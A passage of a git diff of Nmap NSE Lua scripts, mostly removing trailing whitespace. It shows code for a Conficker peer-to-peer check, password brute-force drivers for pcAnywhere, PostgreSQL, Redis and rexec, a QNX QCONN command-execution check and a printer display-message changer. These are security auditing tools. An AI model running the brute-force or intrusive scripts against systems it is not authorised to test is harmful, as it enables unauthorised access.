Conficker.C or higher, based on Conficker's peer to peer communication. +Checks if a host is infected with Conficker.C or higher, based on Conficker's peer to peer communication. -When Conficker.C or higher infects a system, it opens four ports: two TCP and two UDP. The ports are -random, but are seeded with the current week and the IP of the infected host. By determining the algorithm, -one can check if these four ports are open, and can probe them for more data. +When Conficker.C or higher infects a system, it opens four ports: two TCP and two UDP. The ports are +random, but are seeded with the current week and the IP of the infected host. By determining the algorithm, +one can check if these four ports are open, and can probe them for more data. -Once the open ports are found, communication can be initiated using Conficker's custom peer to peer protocol. -If a valid response is received, then a valid Conficker infection has been found. +Once the open ports are found, communication can be initiated using Conficker's custom peer to peer protocol. +If a valid response is received, then a valid Conficker infection has been found. -This check won't work properly on a multihomed or NATed system because the open ports will be based on a nonpublic IP. +This check won't work properly on a multihomed or NATed system because the open ports will be based on a nonpublic IP. The argument checkall tells Nmap to attempt communication with every open port (much like a version check) and the argument realip tells Nmap to base its port generation on the given IP address instead of the actual IP. By default, this will run against a system that has a standard Windows port open (445, 139, 137). The arguments checkall and checkconficker will both perform checks regardless of which port is open, see the args section for -more information. +more information. Note: Ensure your clock is correct (within a week) before using this script! -The majority of research for this script was done by Symantec Security Response, and some was taken +The majority of research for this script was done by Symantec Security Response, and some was taken from public sources (most notably the port blacklisting was found by David Fifield). A big thanks goes -out to everybody who contributed! +out to everybody who contributed! ]] --- -- @args checkall If set to 1 or true, attempt -- to communicate with every open port. --- @args checkconficker If set to 1 or true, the script will always run on active hosts, --- it doesn't matter if any open ports were detected. +-- @args checkconficker If set to 1 or true, the script will always run on active hosts, +-- it doesn't matter if any open ports were detected. -- @args realip An IP address to use in place of the one known by Nmap. -- -- @usage @@ -65,7 +65,7 @@ out to everybody who contributed! -- | | Check 3 (port 31380/udp): CLEAN (Failed to receive data) -- | | Check 4 (port 52600/udp): CLEAN (Failed to receive data) -- |_ |_ 0/4 checks: Host is CLEAN or ports are blocked --- +-- -- Infected machine (results always printed): -- Host script results: -- | p2p-conficker: Checking for Conficker.C or higher... @@ -74,7 +74,7 @@ out to everybody who contributed! -- | | Check 3 (port 11722/udp): INFECTED (Received valid data) -- | | Check 4 (port 12690/udp): INFECTED (Received valid data) -- |_ |_ 4/4 checks: Host is likely INFECTED --- +-- ----------------------------------------------------------------------- author = "Ron Bowes (with research from Symantec Security Response)" @@ -122,7 +122,7 @@ end -- --@param u First number (0 <= u <= 0xFFFFFFFF) --@param v Second number (0 <= v <= 0xFFFFFFFF) ---@return 64-bit product of u*v, as a pair of 32-bit integers. +--@return 64-bit product of u*v, as a pair of 32-bit integers. local function mul64(u, v) -- This is based on formula (2) from section 4.3.3 of The Art of -- Computer Programming. We split u and v into upper and lower 16-bit @@ -141,11 +141,11 @@ local function mul64(u, v) return bit.band(t, 0xFFFFFFFF), u1 * v1 + bit.rshift(t, 32) end ----Rotates the 64-bit integer defined by h:l left by one bit. +---Rotates the 64-bit integer defined by h:l left by one bit. -- --@param h The high-order 32 bits --@param l The low-order 32 bits ---@return 64-bit rotated integer, as a pair of 32-bit integers. +--@return 64-bit rotated integer, as a pair of 32-bit integers. local function rot64(h, l) local i @@ -172,7 +172,7 @@ end -- -- -- Basically, each bit in the blacklist array represents a group of 32 ports. If that bit is on, those ports --- are blacklisted and will never come up. +-- are blacklisted and will never come up. -- --@param port The port to check --@return true if the port is blacklisted, false otherwise @@ -188,11 +188,11 @@ local function is_blacklisted_port(port) return (bit.band(blacklist[r + 1], l) ~= 0) end ----Generates the four random ports that Conficker uses, based on the current time and the IP address. +---Generates the four random ports that Conficker uses, based on the current time and the IP address. -- --@param ip The IP address as a 32-bit little endian integer --@param seed The seed, based on the time (floor((time - 345600) / 604800)) ---@return An array of four ports; the first and third are TCP, and the second and fourth are UDP. +--@return An array of four ports; the first and third are TCP, and the second and fourth are UDP. local function prng_generate_ports(ip, seed) local ports = {0, 0, 0, 0} local v1, v2 @@ -247,11 +247,11 @@ local function prng_generate_ports(ip, seed) return {ports[1], ports[2], ports[3], ports[4]} end ----Calculate a checksum for the data. This checksum is appended to every Conficker packet before the random noise. --- The checksum includes the key and data, but not the noise and optional length. +---Calculate a checksum for the data. This checksum is appended to every Conficker packet before the random noise. +-- The checksum includes the key and data, but not the noise and optional length. -- --@param data The data to create a checksum for. ---@return An integer representing the checksum. +--@return An integer representing the checksum. local function p2p_checksum(data) local pos, i local hash = #data @@ -274,13 +274,13 @@ local function p2p_checksum(data) end ---Encrypt/decrypt the buffer with a simple xor-based symmetric encryption. It uses a 64-bit key, represented --- by key1:key2, that is transmited in plain text. Since sniffed packets can be decrypted, this is a --- simple obfuscation technique. +-- by key1:key2, that is transmited in plain text. Since sniffed packets can be decrypted, this is a +-- simple obfuscation technique. -- ---@param packet The packet to encrypt (before the key and optional length are prepended). +--@param packet The packet to encrypt (before the key and optional length are prepended). --@param key1 The low-order 32 bits in the key. ---@param key2 The high-order 32 bits in the key. ---@return The encrypted (or decrypted) data. +--@param key2 The high-order 32 bits in the key. +--@return The encrypted (or decrypted) data. local function p2p_cipher(packet, key1, key2) local i local buf = "" @@ -309,13 +309,13 @@ local function p2p_cipher(packet, key1, key2) end ---Decrypt the packet, verify it, and parse it. This function will fail with an error if the packet can't be --- parsed properly (likely means the port is being used for something else), but will return successfully +-- parsed properly (likely means the port is being used for something else), but will return successfully -- without checking the packet's checksum (although it does calculate the checksum). It's up to the calling --- function to decide if it cares about the checksum. +-- function to decide if it cares about the checksum. -- ---@param packet The packet, without the optional length (if it's TCP). +--@param packet The packet, without the optional length (if it's TCP). --@return (status, result) If status is true, result is a table (including 'hash' and 'real_hash'). If status --- is false, result is a string that indicates why the parse failed. +-- is false, result is a string that indicates why the parse failed. function p2p_parse(packet) local pos = 1 local data = {} @@ -373,18 +373,18 @@ function p2p_parse(packet) -- Read the sysinfo, if present if(bit.band(data['flags'], mode_flags.FLAG_SYSINFO_INCLUDED) ~= 0) then - pos, data['sysinfo_systemtestflags'], - data['sysinfo_os_major'], - data['sysinfo_os_minor'], - data['sysinfo_os_build'], - data['sysinfo_os_servicepack_major'], - data['sysinfo_os_servicepack_minor'], - data['sysinfo_ntdll_translation_file_information'], - data['sysinfo_prng_sample'], - data['sysinfo_unknown0'], - data['sysinfo_unknown1'], - data['sysinfo_unknown2'], - data['sysinfo_unknown3'], + pos, data['sysinfo_systemtestflags'], + data['sysinfo_os_major'], + data['sysinfo_os_minor'], + data['sysinfo_os_build'], + data['sysinfo_os_servicepack_major'], + data['sysinfo_os_servicepack_minor'], + data['sysinfo_ntdll_translation_file_information'], + data['sysinfo_prng_sample'], + data['sysinfo_unknown0'], + data['sysinfo_unknown1'], + data['sysinfo_unknown2'], + data['sysinfo_unknown3'], data['sysinfo_unknown4'] = bin.unpack("prng_generate_ports, or from unidentified ports) ---@return (status, reason, data) Status indicates whether or not Conficker is suspected to be present (truefalse = no Conficker). If status is true, data is the table of information returned by --- Conficker. +--@return (status, reason, data) Status indicates whether or not Conficker is suspected to be present (truefalse = no Conficker). If status is true, data is the table of information returned by +-- Conficker. local function conficker_check(ip, port, protocol) local status, packet local socket @@ -557,7 +557,7 @@ action = function(host) if(tcp ~= nil and tcp.state == "open") then tcp_ports[i] = true end - + local udp = nmap.get_port_state(host, {number=i, protocol="udp"}) if(udp ~= nil and (udp.state == "open" or udp.state == "open|filtered")) then udp_ports[i] = true diff --git a/scripts/path-mtu.nse b/scripts/path-mtu.nse index a5b9d7b81..d93906d34 100644 --- a/scripts/path-mtu.nse +++ b/scripts/path-mtu.nse @@ -24,11 +24,11 @@ of that, this list is rarely traversed in whole because: * the MTU of the outgoing interface is used as a starting point, and * we can jump down the list when an intermediate router sending a "can't fragment" message includes its next hop MTU (as described - in RFC 1191 and required by RFC 1812) + in RFC 1191 and required by RFC 1812) ]] --- --- @usage +-- @usage -- nmap --script path-mtu target -- -- @output diff --git a/scripts/pcanywhere-brute.nse b/scripts/pcanywhere-brute.nse index 2285d010c..7716564e5 100644 --- a/scripts/pcanywhere-brute.nse +++ b/scripts/pcanywhere-brute.nse @@ -12,7 +12,7 @@ Performs brute force password auditing against the pcAnywhere remote access prot Due to certain limitations of the protocol, bruteforcing is limited to single thread at a time. -After a valid login pair is guessed the script waits +After a valid login pair is guessed the script waits some time until server becomes available again. ]] @@ -52,7 +52,7 @@ local function encrypt(data) for i = 2,string.len(data) do result[i] = bit.bxor(result[i-1],string.byte(data,i),i-2) end - end + end return string.char(table.unpack(result)) end @@ -74,12 +74,12 @@ Driver = { local response local err local status = false - + stdnse.sleep(2) -- when we hit a valid login pair, server enters some kind of locked state -- so we need to wait for some time before trying next pair -- variable "retry" signifies if we need to wait or this is just not pcAnywhere server - while not status do + while not status do status, err = self.socket:connect(self.host, self.port) self.socket:set_timeout(arg_timeout) if(not(status)) then @@ -87,17 +87,17 @@ Driver = { end status, err = self.socket:send(bin.pack("H","00000000")) --initial hello status, response = self.socket:receive_bytes(0) - if not status and not retry then + if not status and not retry then break end stdnse.print_debug("in a loop") - stdnse.sleep(2) -- needs relatively big timeout between retries + stdnse.sleep(2) -- needs relatively big timeout between retries end if not status or string.find(response,"Please press ") == nil then --probably not pcanywhere stdnse.print_debug(1, "%s: not pcAnywhere", SCRIPT_NAME) return false, brute.Error:new( "Probably not pcAnywhere." ) - end + end retry = false status, err = self.socket:send(bin.pack("H","6f06ff")) -- downgrade into legacy mode status, response = self.socket:receive_bytes(0) @@ -110,7 +110,7 @@ Driver = { if not status or (string.find(response,"Enter user name") == nil and string.find(response,"Enter login name") == nil) then stdnse.print_debug(1, "%s: handshake failed", SCRIPT_NAME) return false, brute.Error:new( "Handshake failed." ) - end + end return true end, @@ -126,15 +126,15 @@ Driver = { if not status or string.find(response,"Enter password") == nil then stdnse.print_debug(1, "%s: Sending username failed", SCRIPT_NAME) return false, brute.Error:new( "Sending username failed." ) - end + end -- send password status, err = self.socket:send(bin.pack("C",0x06) .. bin.pack("C",string.len(pass)) .. encrypt(pass) ) -- send password status, response = self.socket:receive_bytes(0) if not status or string.find(response,"Login unsuccessful") or string.find(response,"Invalid login.")then stdnse.print_debug(1, "%s: Incorrect username or password", SCRIPT_NAME) return false, brute.Error:new( "Incorrect username or password." ) - end - + end + if status then retry = true -- now the server is in "locked mode", we need to retry next connection a few times return true, brute.Account:new( user, pass, creds.State.VALID) diff --git a/scripts/pgsql-brute.nse b/scripts/pgsql-brute.nse index a462f69a1..3e166226e 100644 --- a/scripts/pgsql-brute.nse +++ b/scripts/pgsql-brute.nse @@ -13,12 +13,12 @@ Performs password guessing against PostgreSQL. ]] --- --- @usage +-- @usage -- nmap -p 5432 --script pgsql-brute -- -- @output -- 5432/tcp open pgsql --- | pgsql-brute: +-- | pgsql-brute: -- | root: => Valid credentials -- |_ test:test => Valid credentials -- @@ -39,7 +39,7 @@ categories = {"intrusive", "brute"} -- Version 0.4 -- Created 01/15/2010 - v0.1 - created by Patrik Karlsson --- Revised 02/20/2010 - v0.2 - moved version detection to pgsql library +-- Revised 02/20/2010 - v0.2 - moved version detection to pgsql library -- Revised 03/04/2010 - v0.3 - added code from ssh-hostkey.nse to check for SSL support -- - added support for trusted authentication method -- Revised 09/10/2011 - v0.4 - changed account status text to be more consistent with other *-brute scripts @@ -54,7 +54,7 @@ portrule = shortport.port_or_service(5432, "postgresql") -- @return socket connected to server local function connectSocket(host, port, ssl) local socket = nmap.new_socket() - + -- set a reasonable timeout value socket:set_timeout(5000) socket:connect(host, port) @@ -75,7 +75,7 @@ action = function( host, port ) local result, response, status, nossl = {}, nil, nil, false local valid_accounts = {} local pg - + if ( nmap.registry.args['pgsql.version'] ) then if ( tonumber(nmap.registry.args['pgsql.version']) == 2 ) then pg = pgsql.v2 @@ -95,25 +95,25 @@ action = function( host, port ) status, passwords = unpwdb.passwords() if ( not(status) ) then return end - + -- If the user explicitly does not disable SSL, enforce it - if ( ( nmap.registry.args['pgsql.nossl'] == 'true' ) or + if ( ( nmap.registry.args['pgsql.nossl'] == 'true' ) or ( nmap.registry.args['pgsql.nossl'] == '1' ) ) then nossl = true end - + for username in usernames do ssl_enable = not(nossl) for password in passwords do stdnse.print_debug( string.format("Trying %s/%s ...", username, password ) ) local socket = connectSocket( host, port, ssl_enable ) status, response = pg.sendStartup(socket, username, username) - + -- if nossl is enforced by the user, we're done if ( not(status) and nossl ) then break end - + -- SSL failed, this can occure due to: -- 1. The server does not do SSL -- 2. SSL was denied on a per host or network level @@ -134,17 +134,17 @@ action = function( host, port ) end end end - + -- Do not attempt to authenticate if authentication type is trusted if ( response.authtype ~= pgsql.AuthenticationType.Success ) then status, response = pg.loginRequest( socket, response, username, password, response.salt) end - - if status then + + if status then -- Add credentials for other pgsql scripts to use if nmap.registry.pgsqlusers == nil then nmap.registry.pgsqlusers = {} - end + end nmap.registry.pgsqlusers[username]=password if ( response.authtype ~= pgsql.AuthenticationType.Success ) then table.insert( valid_accounts, string.format("%s:%s => Valid credentials", username, password:len()>0 and password or "" ) ) @@ -157,9 +157,9 @@ action = function( host, port ) end passwords("reset") end - - output = stdnse.format_output(true, valid_accounts) - + + output = stdnse.format_output(true, valid_accounts) + return output - + end diff --git a/scripts/pjl-ready-message.nse b/scripts/pjl-ready-message.nse index 3fcb053e7..22da18491 100644 --- a/scripts/pjl-ready-message.nse +++ b/scripts/pjl-ready-message.nse @@ -18,7 +18,7 @@ message and changes it to the message given. -- nmap --script=pjl-ready-message.nse \ -- --script-args='pjl_ready_message="your message here"' -author = "Aaron Leininger" +author = "Aaron Leininger" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" @@ -29,7 +29,7 @@ portrule = shortport.port_or_service(9100, "jetdirect") local function parse_response(response) local msg local line - + for line in response:gmatch(".-\n") do msg = line:match("^DISPLAY=\"(.*)\"") if msg then @@ -40,14 +40,14 @@ end action = function(host, port) - local status --to be used to grab the existing status of the display screen before changing it. + local status --to be used to grab the existing status of the display screen before changing it. local newstatus --used to repoll the printer after setting the display to check that the probe worked. local statusmsg --stores the PJL command to get the printer's status local response --stores the response sent over the network from the printer by the PJL status command - + statusmsg="@PJL INFO STATUS\n" - - local rdymsg="" --string containing text to send to the printer. + + local rdymsg="" --string containing text to send to the printer. local rdymsgarg="" --will contain the argument from the command line if one exists local socket = nmap.new_socket() @@ -56,8 +56,8 @@ action = function(host, port) try(socket:connect(host, port)) try(socket:send(statusmsg)) --this block gets the current display status local data - response,data=socket:receive() - if not response then --send an initial probe. If no response, send nothing further. + response,data=socket:receive() + if not response then --send an initial probe. If no response, send nothing further. socket:close() if nmap.verbosity() > 0 then return "No response from printer: "..data @@ -78,15 +78,15 @@ action = function(host, port) rdymsgarg = nmap.registry.args.pjl_ready_message if not rdymsgarg then if status then - return "\""..status.."\"" + return "\""..status.."\"" else return nil end end - + rdymsg="@PJL RDYMSG DISPLAY = \""..rdymsgarg.."\"\r\n" try(socket:send(rdymsg)) --actually set the display message here. - + try(socket:send(statusmsg)) --this block gets the status again for comparison response,data=socket:receive() if not response then @@ -98,8 +98,8 @@ action = function(host, port) socket:close() return "\""..status.."\"" end - + socket:close() - + return "\""..status.."\" changed to \""..newstatus.."\"" end diff --git a/scripts/pptp-version.nse b/scripts/pptp-version.nse index d9f21c14a..55b6cf64e 100644 --- a/scripts/pptp-version.nse +++ b/scripts/pptp-version.nse @@ -52,17 +52,17 @@ action = function(host, port) local response = try(comm.exchange(host, port, payload, {timeout=5000})) local result - + -- check to see if the packet we got back matches the beginning of a PPTP Start-Control-Connection-Reply packet result = string.match(response, "\0\156\0\001\026\043(.*)") local output - + if result ~= nil then local firmware local hostname local vendor - - -- get the firmware version (2 octets) + + -- get the firmware version (2 octets) local s1,s2 s1,s2 = string.byte(result, 22, 23) firmware = s1 * 256 + s2 @@ -77,13 +77,13 @@ action = function(host, port) length = #result s4 = string.sub(result, 88, length) vendor = string.match(s4, "(.-)\0") - + port.version.name = "pptp" port.version.name_confidence = 10 if vendor ~= nil then port.version.product = vendor end if firmware ~= 0 then port.version.version = "(Firmware: " .. firmware .. ")" end if hostname ~= nil then port.version.hostname = hostname end - + port.version.service_tunnel = "none" nmap.set_port_version(host, port) end diff --git a/scripts/qconn-exec.nse b/scripts/qconn-exec.nse index 6d26b0ac3..847bf01b1 100644 --- a/scripts/qconn-exec.nse +++ b/scripts/qconn-exec.nse @@ -5,12 +5,12 @@ local string = require("string") local shortport = require("shortport") description = [[ -Attempts to identify whether a listening QNX QCONN daemon allows +Attempts to identify whether a listening QNX QCONN daemon allows unauthenticated users to execute arbitrary operating system commands. -QNX is a commercial Unix-like real-time operating system, aimed primarily at -the embedded systems market. The QCONN daemon is a service provider that -provides support, such as profiling system information, to remote IDE +QNX is a commercial Unix-like real-time operating system, aimed primarily at +the embedded systems market. The QCONN daemon is a service provider that +provides support, such as profiling system information, to remote IDE components. The QCONN daemon runs on port 8000 by default. For more information about QNX QCONN, see: @@ -27,7 +27,7 @@ For more information about QNX QCONN, see: -- @output -- PORT STATE SERVICE VERSION -- 8000/tcp open qconn qconn remote IDE support --- | qconn-exec: +-- | qconn-exec: -- | VULNERABLE: -- | The QNX QCONN daemon allows remote command execution. -- | State: VULNERABLE @@ -35,7 +35,7 @@ For more information about QNX QCONN, see: -- | Description: -- | The QNX QCONN daemon allows unauthenticated users to execute arbitrary operating -- | system commands as the 'root' user. --- | +-- | -- | References: -- | http://www.fishnetsecurity.com/6labs/blog/pentesting-qnx-neutrino-rtos -- |_ http://metasploit.org/modules/exploit/unix/misc/qnx_qconn_exec diff --git a/scripts/qscan.nse b/scripts/qscan.nse index 88c8dc1ea..3a05732a2 100644 --- a/scripts/qscan.nse +++ b/scripts/qscan.nse @@ -48,7 +48,7 @@ description = [[ -- | 25 0 2017.30 404.31 0.0% -- | 80 1 4180.80 856.98 0.0% -- |_443 0 2013.30 368.91 0.0% --- +-- -- 03/17/2010 @@ -153,7 +153,7 @@ local tinv = function(p, dof) elseif p == 0.9995 then pin = 7 end - + return tdist[din][pin] end diff --git a/scripts/quake3-info.nse b/scripts/quake3-info.nse index 541ee93c8..5fe89e49c 100644 --- a/scripts/quake3-info.nse +++ b/scripts/quake3-info.nse @@ -17,7 +17,7 @@ Extracts information from a Quake3 game server and other games which use the sam -- @output -- PORT STATE SERVICE VERSION -- 27960/udp open quake3 Quake 3 dedicated server --- | quake3-info: +-- | quake3-info: -- | PLAYERS: -- | 1. cyberix (frags: 0/20, ping: 4) -- | BASIC OPTIONS: diff --git a/scripts/quake3-master-getservers.nse b/scripts/quake3-master-getservers.nse index b3d21e3fe..8da55e537 100644 --- a/scripts/quake3-master-getservers.nse +++ b/scripts/quake3-master-getservers.nse @@ -14,7 +14,7 @@ Queries Quake3-style master servers for game servers (many games other than Quak -- @output -- PORT STATE SERVICE REASON -- 27950/udp open quake3-master --- | quake3-master-getservers: +-- | quake3-master-getservers: -- | 192.0.2.22:26002 Xonotic (Xonotic 3) -- | 203.0.113.37:26000 Nexuiz (Nexuiz 3) -- |_ Only 2 shown. Use --script-args quake3-master-getservers.outputlimit=-1 to see all. diff --git a/scripts/rdp-enum-encryption.nse b/scripts/rdp-enum-encryption.nse index 512923210..b2b0d2c90 100644 --- a/scripts/rdp-enum-encryption.nse +++ b/scripts/rdp-enum-encryption.nse @@ -15,7 +15,7 @@ http://labs.mwrinfosecurity.com/tools/2009/01/12/rdp-cipher-checker/ -- @output -- PORT STATE SERVICE -- 3389/tcp open ms-wbt-server --- | rdp-enum-encryption: +-- | rdp-enum-encryption: -- | Security layer -- | CredSSP: SUCCESS -- | Native RDP: SUCCESS @@ -54,9 +54,9 @@ local function enum_protocols(host, port) [4] = "INCONSISTENT_FLAGS", [5] = "HYBRID_REQUIRED_BY_SERVER" } - + local res_proto = { name = "Security layer" } - + for k, v in pairs(PROTOCOLS) do local comm = rdp.Comm:new(host, port) if ( not(comm:connect()) ) then @@ -86,14 +86,14 @@ local function enum_protocols(host, port) end local function enum_ciphers(host, port) - + local CIPHERS = { { ["40-bit RC4"] = 1 }, { ["56-bit RC4"] = 8 }, { ["128-bit RC4"] = 2 }, { ["FIPS 140-1"] = 16 } } - + local ENC_LEVELS = { [0] = "None", [1] = "Low", @@ -101,9 +101,9 @@ local function enum_ciphers(host, port) [3] = "High", [4] = "FIPS Compliant", } - + local res_ciphers = {} - + local function get_ordered_ciphers() local i = 0 return function() @@ -114,19 +114,19 @@ local function enum_ciphers(host, port) end end end - + for k, v in get_ordered_ciphers() do local comm = rdp.Comm:new(host, port) if ( not(comm:connect()) ) then return false, "ERROR: Failed to connect to server" end - + local cr = rdp.Request.ConnectionRequest:new() local status, response = comm:exch(cr) if ( not(status) ) then break end - + local msc = rdp.Request.MCSConnectInitial:new(v) local status, response = comm:exch(msc) comm:close() @@ -156,7 +156,7 @@ action = function(host, port) if ( not(status) ) then return res_ciphers end - + table.insert(result, res_proto) table.insert(result, res_ciphers) return stdnse.format_output(true, result) diff --git a/scripts/rdp-vuln-ms12-020.nse b/scripts/rdp-vuln-ms12-020.nse index e5cef59df..efe40b456 100644 --- a/scripts/rdp-vuln-ms12-020.nse +++ b/scripts/rdp-vuln-ms12-020.nse @@ -175,10 +175,10 @@ action = function(host, port) rdp_vuln_0002.state = vulns.STATE.NOT_VULN -- Sleep for 0.2 seconds to make sure the script works even with SYN scan. - -- Posible reason for this is that Windows resets the connection if we try to + -- Posible reason for this is that Windows resets the connection if we try to -- reconect too fast to the same port after doing a SYN scan and not completing the -- handshake. In my tests, sleep values above 0.1s prevent the connection reset. - stdnse.sleep(0.2) + stdnse.sleep(0.2) socket:connect(host.ip, port) status, err = socket:send(connectionRequest) diff --git a/scripts/realvnc-auth-bypass.nse b/scripts/realvnc-auth-bypass.nse index 6f053ce93..ce6187a40 100644 --- a/scripts/realvnc-auth-bypass.nse +++ b/scripts/realvnc-auth-bypass.nse @@ -25,7 +25,7 @@ action = function(host, port) local status = true socket:connect(host, port) - + status, result = socket:receive_lines(1) if (not status) then diff --git a/scripts/redis-brute.nse b/scripts/redis-brute.nse index f8bbdffcc..dc0a50c76 100644 --- a/scripts/redis-brute.nse +++ b/scripts/redis-brute.nse @@ -9,12 +9,12 @@ Performs brute force passwords auditing against a Redis key-value store. --- -- @usage --- nmap -p 6379 --script redis-brute +-- nmap -p 6379 --script redis-brute -- -- @output -- PORT STATE SERVICE -- 6379/tcp open unknown --- | redis-brute: +-- | redis-brute: -- | Accounts -- | toledo - Valid credentials -- | Statistics @@ -32,22 +32,22 @@ portrule = shortport.port_or_service(6379, "redis-server") local function fail(err) return ("\n ERROR: %s"):format(err) end Driver = { - + new = function(self, host, port) local o = { host = host, port = port } setmetatable(o, self) self.__index = self return o end, - + connect = function( self ) self.helper = redis.Helper:new(self.host, self.port) return self.helper:connect() end, - + login = function( self, username, password ) local status, response = self.helper:reqCmd("AUTH", password) - + -- some error occured, attempt to retry if ( status and response.type == redis.Response.Type.ERROR and "-ERR invalid password" == response.data ) then @@ -55,34 +55,34 @@ Driver = { elseif ( status and response.type == redis.Response.Type.STATUS and "+OK" ) then return true, brute.Account:new( "", password, creds.State.VALID) - else + else local err = brute.Error:new( response.data ) err:setRetry( true ) return false, err end - + end, - + disconnect = function(self) return self.helper:close() - end, - + end, + } local function checkRedis(host, port) - + local helper = redis.Helper:new(host, port) local status = helper:connect() if( not(status) ) then return false, "Failed to connect to server" end - + local status, response = helper:reqCmd("INFO") if ( not(status) ) then return false, "Failed to request INFO command" end - + if ( redis.Response.Type.ERROR == response.type ) then if ( "-ERR operation not permitted" == response.data ) or ( "-NOAUTH Authentication required." == response.data) then @@ -99,9 +99,9 @@ action = function(host, port) if ( not(status) ) then return fail(err) end - + local engine = brute.Engine:new(Driver, host, port ) - + engine.options.script_name = SCRIPT_NAME engine.options.firstonly = true engine.options:setOption( "passonly", true ) diff --git a/scripts/redis-info.nse b/scripts/redis-info.nse index 16643b759..08234aeec 100644 --- a/scripts/redis-info.nse +++ b/scripts/redis-info.nse @@ -15,7 +15,7 @@ Retrieves information (such as version number and architecture) from a Redis key -- @output -- PORT STATE SERVICE -- 6379/tcp open unknown --- | redis-info: +-- | redis-info: -- | Version 2.2.11 -- | Architecture 64 bits -- | Process ID 17821 @@ -38,7 +38,7 @@ portrule = shortport.port_or_service(6379, "redis-server") local function fail(err) return ("\n ERROR: %s"):format(err) end local filter = { - + ["redis_version"] = { name = "Version" }, ["arch_bits"] = { name = "Architecture", func = function(v) return ("%s bits"):format(v) end }, ["process_id"] = { name = "Process ID"}, @@ -49,7 +49,7 @@ local filter = { ["connected_slaves"] = { name = "Connected slaves"}, ["used_memory_human"] = { name = "Used memory"}, ["role"] = { name = "Role"} - + } local order = { @@ -65,7 +65,7 @@ action = function(host, port) if( not(status) ) then return fail("Failed to connect to server") end - + -- do we have a service password local c = creds.Credentials:new(creds.ALL_DATA, host, port) local cred = c:getCredentials(creds.State.VALID + creds.State.PARAM)() @@ -77,7 +77,7 @@ action = function(host, port) return fail(response) end end - + local status, response = helper:reqCmd("INFO") if ( not(status) ) then helper:close() @@ -105,7 +105,7 @@ action = function(host, port) kvs[k] = v end end - + local result = tab.new(2) for _, item in ipairs(order) do if ( kvs[item] ) then diff --git a/scripts/resolveall.nse b/scripts/resolveall.nse index 7f2ef209d..386c8e3fa 100644 --- a/scripts/resolveall.nse +++ b/scripts/resolveall.nse @@ -12,12 +12,12 @@ record) returned for each host name. ]] --- --- @usage +-- @usage -- nmap --script=resolveall --script-args=newtargets,resolveall.hosts={, ...} ... -- @args resolveall.hosts Table of hosts to resolve -- @output -- Pre-scan script results: --- | resolveall: +-- | resolveall: -- | Host 'google.com' resolves to: -- | 74.125.39.106 -- | 74.125.39.147 diff --git a/scripts/reverse-index.nse b/scripts/reverse-index.nse index f1e079684..45da4c28d 100644 --- a/scripts/reverse-index.nse +++ b/scripts/reverse-index.nse @@ -12,7 +12,7 @@ Creates a reverse index at the end of scan output showing which hosts run a part -- -- @output -- Post-scan script results: --- | reverse-index: +-- | reverse-index: -- | 22/tcp: 192.168.0.60 -- | 23/tcp: 192.168.0.100 -- | 80/tcp: 192.168.0.70 @@ -22,7 +22,7 @@ Creates a reverse index at the end of scan output showing which hosts run a part -- -- @args reverse-index.mode the output display mode, can be either horizontal -- or vertical (default: horizontal) --- +-- -- Version 0.1 -- Created 11/22/2011 - v0.1 - created by Patrik Karlsson @@ -56,7 +56,7 @@ end -- -- Shows an index similar to the following one -- Post-scan script results: --- | reverse-index: +-- | reverse-index: -- | tcp/22 -- | 192.168.0.60 -- | tcp/23 @@ -81,7 +81,7 @@ local function createVerticalResults(db) table.sort(result_entries) result_entries.name = ("%d/%s"):format(port, proto) table.insert(results, result_entries) - table.sort(results, + table.sort(results, function(a,b) local a_port, a_proto = a.name:match("^(%d+)/(%w*)") local b_port, b_proto = b.name:match("^(%d+)/(%w*)") @@ -90,7 +90,7 @@ local function createVerticalResults(db) else return a_proto < b_proto end - end + end ) end end @@ -99,7 +99,7 @@ end -- -- Shows an index similar to the following one --- | reverse-index: +-- | reverse-index: -- | tcp/22: 192.168.0.60 -- | tcp/23: 192.168.0.100 -- | tcp/80: 192.168.0.70 @@ -108,7 +108,7 @@ end -- |_ udp/5353: 192.168.0.105, 192.168.0.70, 192.168.0.60, 192.168.0.1 local function createHorizontalResults(db) local results = {} - + for proto, ports in pairs(db) do for port, entries in pairs(ports) do local result_entries = {} @@ -118,7 +118,7 @@ local function createHorizontalResults(db) local ips = stdnse.strjoin(", ", result_entries) local str = ("%d/%s: %s"):format(port, proto, ips) table.insert(results, str) - table.sort(results, + table.sort(results, function(a,b) local a_port, a_proto = a:match("^(%d+)/(%w*):") local b_port, b_proto = b:match("^(%d+)/(%w*):") @@ -127,11 +127,11 @@ local function createHorizontalResults(db) else return a_proto < b_proto end - end + end ) end end - return results + return results end postaction = function() @@ -139,10 +139,10 @@ postaction = function() if ( db == nil ) then return false end - + local results local mode = stdnse.get_script_args("reverse-index.mode") or "horizontal" - + if ( mode == 'horizontal' ) then results = createHorizontalResults(db) else diff --git a/scripts/rexec-brute.nse b/scripts/rexec-brute.nse index 9e4e6f19a..e269ad0c8 100644 --- a/scripts/rexec-brute.nse +++ b/scripts/rexec-brute.nse @@ -15,7 +15,7 @@ Performs brute force password auditing against the classic UNIX rexec (remote ex -- @output -- PORT STATE SERVICE -- 512/tcp open exec --- | rexec-brute: +-- | rexec-brute: -- | Accounts -- | nmap:test - Valid credentials -- | Statistics @@ -35,7 +35,7 @@ portrule = shortport.port_or_service(512, "exec", "tcp") Driver = { - + -- creates a new Driver instance -- @param host table as received by the action function -- @param port table as received by the action function @@ -46,7 +46,7 @@ Driver = { self.__index = self return o end, - + connect = function(self) self.socket = nmap.new_socket() self.socket:set_timeout(self.timeout) @@ -56,32 +56,32 @@ Driver = { err:setRetry( true ) return false, err end - return true + return true end, - + login = function(self, username, password) local cmd = "id" local data = ("\0%s\0%s\0%s\0"):format(username, password, cmd) - + local status, err = self.socket:send(data) if ( not(status) ) then local err = brute.Error:new("Send failed") err:setRetry( true ) return false, err end - + local response status, response = self.socket:receive() - if ( status ) then - return true, brute.Account:new(username, password, creds.State.VALID) - end + if ( status ) then + return true, brute.Account:new(username, password, creds.State.VALID) + end return false, brute.Error:new( "Incorrect password" ) end, - + disconnect = function(self) self.socket:close() end, - + } @@ -92,9 +92,9 @@ action = function(host, port) local options = { timeout = arg_timeout } - + local engine = brute.Engine:new(Driver, host, port, options) - engine.options.script_name = SCRIPT_NAME + engine.options.script_name = SCRIPT_NAME local status, result = engine:start() return result end diff --git a/scripts/riak-http-info.nse b/scripts/riak-http-info.nse index e0d24e214..eb7eeca01 100644 --- a/scripts/riak-http-info.nse +++ b/scripts/riak-http-info.nse @@ -15,7 +15,7 @@ Retrieves information (such as node name and architecture) from a Basho Riak dis 